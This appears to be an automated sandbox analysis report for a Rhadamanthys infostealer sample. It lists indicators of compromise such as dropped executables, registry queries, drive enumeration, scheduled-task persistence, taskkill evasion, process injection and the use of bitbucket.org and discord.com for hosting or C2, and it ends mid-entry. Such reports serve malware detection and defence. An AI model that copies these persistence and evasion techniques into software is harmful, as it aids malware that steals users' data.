rhadamanthys | a80bfccb304febe1b0e5ae0fcda7c9ed306b3ba10758adfc4dc0e822f30f4027

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	cdvff4nc.wrd0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	h1jessfo.kil3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	mopebpra.il00.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	mopebpra.il03.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	yqw0ekta.jmh3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	h1jessfo.kil0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	cdvff4nc.wrd3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	sebxspm5.emd0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	sebxspm5.emd3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	yqw0ekta.jmh0.exe

Executes dropped EXE 20 IoCs

pid	Process
2260	sebxspm5.emd0.exe
2936	sebxspm5.emd1.exe
628	sebxspm5.emd2.exe
2004	sebxspm5.emd3.exe
444	yqw0ekta.jmh0.exe
1412	yqw0ekta.jmh1.exe
680	yqw0ekta.jmh2.exe
4808	yqw0ekta.jmh3.exe
1332	h1jessfo.kil0.exe
3504	h1jessfo.kil1.exe
4740	h1jessfo.kil2.exe
2092	h1jessfo.kil3.exe
3440	mopebpra.il00.exe
4436	mopebpra.il01.exe
1644	mopebpra.il02.exe
4992	mopebpra.il03.exe
5944	cdvff4nc.wrd0.exe
508	cdvff4nc.wrd1.exe
4860	cdvff4nc.wrd2.exe
5036	cdvff4nc.wrd3.exe

Loads dropped DLL 4 IoCs

pid	Process
5420	MsiExec.exe
5420	MsiExec.exe
5420	MsiExec.exe
5420	MsiExec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 17 IoCs

Web Service

T1102

flow	ioc
276	bitbucket.org
281	bitbucket.org
255	bitbucket.org
264	bitbucket.org
271	bitbucket.org
256	bitbucket.org
295	bitbucket.org
284	bitbucket.org
294	bitbucket.org
121	discord.com
266	bitbucket.org
278	bitbucket.org
297	bitbucket.org
301	bitbucket.org
119	discord.com
120	discord.com
261	bitbucket.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	sebxspm5.emd2.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 628 set thread context of 5740	628	sebxspm5.emd2.exe	479

Drops file in Windows directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3C70.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{637236E9-EF59-4F9D-8269-3083C1A6C6D6}	msiexec.exe
File created	C:\Windows\Installer\e5d3a9b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3C40.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3D1D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4982.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI56E1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e5d3a9b.msi	msiexec.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5672	sc.exe
3168	Process not Found
7412	Process not Found
4316	sc.exe
5268	sc.exe
4056	sc.exe
7728	Process not Found
7580	Process not Found
5504	sc.exe
5804	sc.exe
5836	sc.exe
6216	Process not Found

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4884	schtasks.exe
6956	schtasks.exe
7776	Process not Found

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
5976	timeout.exe
5344	timeout.exe
7628	timeout.exe
7296	Process not Found
7252	Process not Found
5328	timeout.exe
7304	Process not Found
800	Process not Found
6428	Process not Found
6188	Process not Found
7772	Process not Found
6376	timeout.exe
7664	timeout.exe
7888	Process not Found
1616	timeout.exe
6136	timeout.exe
5720	timeout.exe
7672	Process not Found
7552	Process not Found
5752	timeout.exe
7996	Process not Found
5360	Process not Found
7376	timeout.exe
6452	Process not Found
5308	Process not Found
5160	Process not Found
6504	Process not Found
7124	timeout.exe
7348	timeout.exe
7588	timeout.exe
7064	Process not Found
7852	Process not Found
5416	Process not Found
6824	timeout.exe
6428	Process not Found
8044	Process not Found
5556	Process not Found
3724	timeout.exe
5776	timeout.exe
5420	Process not Found
7560	Process not Found
5804	timeout.exe
5164	timeout.exe
4132	timeout.exe
7668	timeout.exe
2424	timeout.exe
1032	timeout.exe
8152	Process not Found
652	Process not Found
5484	timeout.exe
2036	Process not Found
5756	Process not Found
7940	Process not Found
5848	Process not Found
6188	Process not Found
6516	timeout.exe
4432	Process not Found
6648	timeout.exe
8112	timeout.exe
7948	timeout.exe
6756	timeout.exe
4016	Process not Found
1696	Process not Found
460	Process not Found

Enumerates processes with tasklist 1 TTPs 64 IoCs

Process Discovery

T1057

pid	Process
7304	tasklist.exe
8172	tasklist.exe
4988	tasklist.exe
744	tasklist.exe
4360	tasklist.exe
512	tasklist.exe
1384	tasklist.exe
3588	tasklist.exe
5656	tasklist.exe
7652	tasklist.exe
6848	tasklist.exe
4740	tasklist.exe
4708	tasklist.exe
5848	tasklist.exe
5388	tasklist.exe
2752	tasklist.exe
4816	tasklist.exe
5768	tasklist.exe
5664	tasklist.exe
6580	tasklist.exe
4324	tasklist.exe
5792	tasklist.exe
7204	tasklist.exe
2420	tasklist.exe
6128	tasklist.exe
7596	tasklist.exe
6468	tasklist.exe
7912	tasklist.exe
7408	tasklist.exe
7832	tasklist.exe
1472	tasklist.exe
5188	tasklist.exe
6496	tasklist.exe
1744	tasklist.exe
2752	tasklist.exe
6472	tasklist.exe
4880	tasklist.exe
6408	tasklist.exe
6496	tasklist.exe
6916	tasklist.exe
6368	tasklist.exe
7144	tasklist.exe
1864	Process not Found
5296	tasklist.exe
5976	tasklist.exe
2200	tasklist.exe
5696	tasklist.exe
7576	tasklist.exe
5316	tasklist.exe
5268	tasklist.exe
6772	tasklist.exe
6176	tasklist.exe
512	tasklist.exe
5572	tasklist.exe
6200	tasklist.exe
5344	tasklist.exe
7696	tasklist.exe
2888	tasklist.exe
5904	tasklist.exe
908	tasklist.exe
6560	tasklist.exe
3484	tasklist.exe
6836	tasklist.exe
6452	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 64 IoCs

evasion

pid	Process
5512	taskkill.exe
5916	taskkill.exe
6204	taskkill.exe
7140	taskkill.exe
2576	taskkill.exe
2020	taskkill.exe
3248	taskkill.exe
7340	taskkill.exe
448	taskkill.exe
8044	taskkill.exe
6664	taskkill.exe
1684	taskkill.exe
4660	taskkill.exe
6064	taskkill.exe
5976	taskkill.exe
6244	taskkill.exe
5244	taskkill.exe
6540	taskkill.exe
5816	taskkill.exe
6100	taskkill.exe
6220	taskkill.exe
6920	taskkill.exe
7932	taskkill.exe
5240	taskkill.exe
5832	taskkill.exe
5312	taskkill.exe
4944	taskkill.exe
7976	taskkill.exe
840	taskkill.exe
4796	taskkill.exe
7992	Process not Found
4348	taskkill.exe
5428	taskkill.exe
6320	taskkill.exe
5620	taskkill.exe
4360	taskkill.exe
7756	taskkill.exe
3752	taskkill.exe
5736	taskkill.exe
7364	taskkill.exe
4796	taskkill.exe
4044	taskkill.exe
1852	taskkill.exe
5876	taskkill.exe
1768	taskkill.exe
5312	taskkill.exe
7548	taskkill.exe
2596	taskkill.exe
2424	taskkill.exe
2936	taskkill.exe
6528	taskkill.exe
5892	taskkill.exe
3544	taskkill.exe
6500	taskkill.exe
4172	taskkill.exe
448	taskkill.exe
6724	taskkill.exe
7536	taskkill.exe
2340	taskkill.exe
6868	taskkill.exe
7992	taskkill.exe
8036	taskkill.exe
8148	taskkill.exe
5948	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133629535344321738"	chrome.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4204450073-1267028356-951339405-1000\{08F2DE00-6ABE-48C1-828D-C6A22478C0AF}	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1904	chrome.exe
1904	chrome.exe
3196	chrome.exe
3196	chrome.exe
3744	powershell.exe
3744	powershell.exe
4860	powershell.exe
4860	powershell.exe
1172	powershell.exe
1172	powershell.exe
1172	powershell.exe
2936	sebxspm5.emd1.exe
2936	sebxspm5.emd1.exe
3908	powershell.exe
3908	powershell.exe
3908	powershell.exe
1420	dialer.exe
1420	dialer.exe
1420	dialer.exe
1420	dialer.exe
4292	powershell.exe
4292	powershell.exe
4292	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
1412	yqw0ekta.jmh1.exe
1412	yqw0ekta.jmh1.exe
1224	dialer.exe
1224	dialer.exe
1224	dialer.exe
1224	dialer.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
3504	h1jessfo.kil1.exe
3504	h1jessfo.kil1.exe
3044	dialer.exe
3044	dialer.exe
3044	dialer.exe
3044	dialer.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
4436	mopebpra.il01.exe
4436	mopebpra.il01.exe
5432	dialer.exe
5432	dialer.exe
5432	dialer.exe
5432	dialer.exe
5224	msiexec.exe
5224	msiexec.exe
5896	powershell.exe
5896	powershell.exe
5896	powershell.exe
5864	powershell.exe
5864	powershell.exe
5864	powershell.exe
628	sebxspm5.emd2.exe
6060	powershell.exe
6060	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: 33	1572	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1572	AUDIODG.EXE
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe
Token: SeShutdownPrivilege	1904	chrome.exe
Token: SeCreatePagefilePrivilege	1904	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe
1904	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1904 wrote to memory of 808	1904	chrome.exe	94
PID 1904 wrote to memory of 808	1904	chrome.exe	94
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4940	1904	chrome.exe	95
PID 1904 wrote to memory of 4028	1904	chrome.exe	96
PID 1904 wrote to memory of 4028	1904	chrome.exe	96
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97
PID 1904 wrote to memory of 5080	1904	chrome.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2528
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1420
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1224
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3044
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5432
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  PID:5980
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  PID:6448
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  PID:5428
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  PID:868

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\RedEngine.zip
1⤵
PID:4728

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xa8,0x128,0x7ffef345ab58,0x7ffef345ab68,0x7ffef345ab78
  2⤵
  PID:808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1736 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:2
  2⤵
  PID:4940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1876 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:4028
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2264 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:5080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3028 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:2460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3036 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:4344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4424 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:3252
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4588 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4644 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4552 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:1944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4884 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:1252
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4900 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:4620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4652 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:1328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3240 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=3192 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:3556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3204 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:2568
- C:\Program Files\Google\Chrome\Application\chrome.exe
